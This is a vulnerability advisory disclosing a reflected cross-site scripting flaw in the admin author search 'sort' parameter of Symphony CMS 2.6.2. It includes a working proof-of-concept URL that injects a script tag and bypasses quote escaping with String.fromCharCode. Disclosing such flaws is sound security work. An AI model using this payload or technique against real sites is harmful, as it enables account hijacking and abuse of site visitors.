Symphony CMS 2.6.2

[apparitionsec@xxxxxxxxx]

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt



Vendor:
================================
www.getsymphony.com/download/


Product:
================================
Symphony CMS 2.6.2


Advisory Information:
================================================
Symphony CMS XSS Vulnerability



Vulnerability Details:
=====================
The 'sort' parameter used by author search in Admin is XSS exploitable. 
Symphony seems to escape injected strings
e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript 
functions charCodeAt() & fromCharCode()

e.g. 
String.fromCharCode(72,69,76,76)

Now we can output our 'HELL' strings, construct URLs etc... 


Exploit XSS code(s):
====================

http://localhost/symphony-2.6.2/symphony/system/authors/?sort=</h1><script>alert(String.fromCharCode(72,69,76,76))</script><h1>&order=asc
  

Disclosure Timeline:
=========================================================


Vendor Notification: June 5, 2015
June 6, : Public Disclosure



Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                                [+]  GET

Vulnerable Product:
                                [+]  Symphony CMS 2.6.2

Vulnerable Parameter(s):
                                [+]  sort

Affected Area(s):
                                [+]  symphony/system/authors/

===============================================================

(hyp3rlinx)